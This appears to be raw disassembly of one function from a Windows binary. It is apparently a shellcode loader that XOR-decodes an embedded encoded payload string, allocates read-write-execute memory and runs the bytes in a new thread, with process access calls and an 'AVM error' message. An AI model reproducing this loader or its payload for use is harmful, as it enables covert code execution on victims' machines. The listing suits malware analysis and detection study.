Function at 0x1400041e0
Capabilities:
Allocate or change rwx memory
Get system information on windows

Disassembly:
push rsi
push rdi
sub rsp, 0x198
mov rax, qword [0x14000b028]
xor rax, rsp
mov qword [rsp + 0x188], rax
mov byte [rsp + 0x6c], 0
lea rdx, str.9ECL7PjgwAgICElZSVhaWV5AOdptQINaaECDWhBAg1ooQIN6WEAHv0JCRTnBQDnIpDRpdAokKEnJwQVJCcnq5VpJWUCDWiiDSjRACdhuiXAQAwp9eoOIgAgICECNyHxvQAnYWINAEEyDSChBCdjrXkD3wUmDPIBACd5FOcFAOcikScnBBUkJyTDofflEC0QsAE0x2X3QUEyDSCxBCdhuSYMEQEyDSBRBCdhJgwyAQAnYSVBJUFZRUklQSVFJUkCL5ChJWvfoUElRUkCDGuFH9_f3VWIIQbZ_YWZhZm18CEleQYHuRIH5SbJEfy4P991AOcFAOdpFOchFOcFJWElYSbIyXnGv993je1JAgclJsLAqCAhFOcFJWUlZYgtJWUmyX4GXzvfd41FTQIHJQDnaQYHQRTnBWmAICkiMWlpJsuNdJjP33UCBzkCLy1hiAldAgflAgdJBz8j39_f3RTnBWlpJsiUOEHP33Y3IB42VCQgIQPfHB4yECQgI49vh7AkICOCq9_f3JzF7WGkIyqPowLD6Cd8KqqwuCie7yFtdCuwz8hqzfXR0_AVLc982RRn_kqenxtADIYDnv65BLqy5QSKjiosuSu6QK4_ynKRr1UbDlq7Hwhde216JUlvbWZ8MihFZ3JhZGRpJz0mOCgga2dleGl8YWpkbTMoRVtBTSgxJjgzKF9hZmxnf3soRlwoPiY4MyhcemFsbWZ8Jz0mODMoSkdBTTEzTUZdWyEFAghZmz4qwcB3z4jJd3J6ZnOat_wydwEzpwjEJQTDX9X6TDef9boVSbt33LPbx36dptBAA9a4JR2EPxiDg1bu5NHUrP6EYDLx6UOM2AnSVagdDC2YXxjWldFxSafVV5h5IO9YIpch_69Cs3_6jAueGDZ8wNThqdybq4fiDQYJHwft5enMZoufXkBbR0xSpf5_xObIIJhqusq4iTwxsbZj1AUwSQKcMT9QKR5Bpk5CbjK54Q1JAWLsWzN6HD7uYihKlX1ASY2_KuHCghXsAdoN0sV8ISbb4vape991AOcGyCAhICEmwCBgICEmxSAgICEmyUKxb7ffdQJtbW0CB70CBUCB0kmwCCgICEGB8UmyGp6B6vfdQIvMKI3IfL5ugw9ACcuNyH3fUFBQQA0ICAgIWMvgl_X39zAmOTs4Jjk5MSY5Oz8IH1ht4g__
lea rcx, [rsp + 0x138]
call fcn.140001ad0
nop
lea r9, [0x1400084a4]
lea r8, [0x14000897c]
lea rdx, [rsp + 0x138]
lea rcx, [rsp + 0x118]
call fcn.1400038b0
nop
xor r8d, r8d
lea rdx, [rsp + 0x118]
lea rcx, [rsp + 0xf8]
call fcn.140001740
nop
lea rcx, [rsp + 0xf8]
call fcn.140004820
mov qword [rsp + 0xb8], rax
mov r8d, 0x21f8
xor edx, edx
mov ecx, 0x1fffff
call qword [sym.imp.KERNEL32.dll_OpenProcess]
mov qword [rsp + 0x88], rax
lea rcx, [rsp + 0x158]
call qword [sym.imp.KERNEL32.dll_GetSystemInfo]
mov eax, dword [rsp + 0x15c]
mov dword [rsp + 0x84], eax
mov eax, dword [rsp + 0x180]
mov dword [rsp + 0x80], eax
mov eax, dword [rsp + 0x80]
mov qword [rsp + 0xc8], rax
mov eax, dword [rsp + 0x84]
mov qword [rsp + 0x78], rax
lea rcx, [rsp + 0xf8]
call fcn.1400018c0
xor edx, edx
div qword [rsp + 0xc8]
inc rax
mov dword [rsp + 0x68], eax
xor edx, edx
mov rax, qword [rsp + 0xc8]
div qword [rsp + 0x78]
mov dword [rsp + 0xa0], eax
mov r9d, dword [rsp + 0x68]
mov r8d, dword [rsp + 0xc8]
mov edx, dword [rsp + 0x78]
mov rcx, qword [rsp + 0x88]
call fcn.140003b10
mov qword [rsp + 0xa8], rax
mov rax, qword [rsp + 0xa8]
mov qword [rsp + 0xd0], rax
mov dword [rsp + 0x74], 0
mov edx, 0x18
lea rcx, [rsp + 0xe0]
call fcn.1400033c0
lea rcx, [rsp + 0xe0]
call fcn.140004780
nop
mov dword [rsp + 0x70], 1
jmp 0x14000436e
mov eax, dword [rsp + 0x70]
inc eax
mov dword [rsp + 0x70], eax
mov eax, dword [rsp + 0x68]
cmp dword [rsp + 0x70], eax
ja 0x140004404
mov dword [rsp + 0x28], 1
mov dword [rsp + 0x20], 0x2000
lea r9, [rsp + 0xc8]
xor r8d, r8d
lea rdx, [rsp + 0xd0]
mov rcx, qword [rsp + 0x88]
call fcn.140006672
mov dword [rsp + 0x74], eax
cmp dword [rsp + 0x74], 0
jne 0x1400043ce
lea rdx, [rsp + 0xd0]
lea rcx, [rsp + 0xe0]
call fcn.1400046b0
jmp 0x1400043e1
lea rdx, str.AVM_error
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.140004fc0
mov rax, qword [rsp + 0xc8]
mov rcx, qword [rsp + 0xd0]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0xd0], rax
jmp 0x140004364
mov dword [rsp + 0xa4], 0
xorps xmm0, xmm0
movsd qword [rsp + 0xc0], xmm0
mov dword [rsp + 0x64], 0
jmp 0x14000442f
mov eax, dword [rsp + 0x64]
inc eax
mov dword [rsp + 0x64], eax
mov eax, dword [rsp + 0x68]
cmp dword [rsp + 0x64], eax
jae 0x14000457e
mov rcx, qword [rsp + 0x78]
call fcn.140006a90
mov qword [rsp + 0xb0], rax
mov rax, qword [rsp + 0xb0]
mov qword [rsp + 0x90], rax
mov dword [rsp + 0x60], 0
jmp 0x140004473
mov eax, dword [rsp + 0x60]
inc eax
mov dword [rsp + 0x60], eax
movsxd rax, dword [rsp + 0x60]
cmp rax, qword [rsp + 0x78]
jae 0x1400044b6
movsxd rax, dword [rsp + 0x64]
mov rcx, qword [rsp + 0x78]
imul rcx, rax
mov rax, rcx
movsxd rcx, dword [rsp + 0x60]
add rcx, qword [rsp + 0xb8]
movsx eax, byte [rcx + rax]
xor eax, 8
movsxd rcx, dword [rsp + 0x60]
mov rdx, qword [rsp + 0x90]
mov byte [rdx + rcx], al
jmp 0x140004469
mov eax, dword [rsp + 0x68]
mov r9d, 0x40
mov r8d, 0x1000
mov edx, eax
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov qword [rsp + 0x98], rax
lea rcx, [rsp + 0xf8]
call fcn.1400018c0
mov rdi, qword [rsp + 0x98]
mov rsi, qword [rsp + 0x90]
mov rcx, rax
rep movsb byte [rdi], byte [rsi]
mov qword [rsp + 0xd8], 0
call qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
mov qword [rsp + 0x50], 0
mov qword [rsp + 0x48], 0
mov qword [rsp + 0x40], 0
mov qword [rsp + 0x38], 0
mov dword [rsp + 0x30], 0
mov qword [rsp + 0x28], 0
mov rcx, qword [rsp + 0x98]
mov qword [rsp + 0x20], rcx
mov r9, rax
xor r8d, r8d
mov edx, 0x1fffff
lea rcx, [rsp + 0xd8]
call fcn.140006611
mov edx, 0xffffffff
mov rcx, qword [rsp + 0xd8]
call qword [sym.imp.KERNEL32.dll_WaitForSingleObject]
jmp 0x140004425
lea rcx, [rsp + 0xe0]
call fcn.1400046e0
nop
lea rcx, [rsp + 0xf8]
call fcn.140001a40
nop
lea rcx, [rsp + 0x118]
call fcn.140001a40
nop
lea rcx, [rsp + 0x138]
call fcn.140001a40
xor eax, eax
mov rcx, qword [rsp + 0x188]
xor rcx, rsp
call fcn.1400067b0
add rsp, 0x198
pop rdi
pop rsi
ret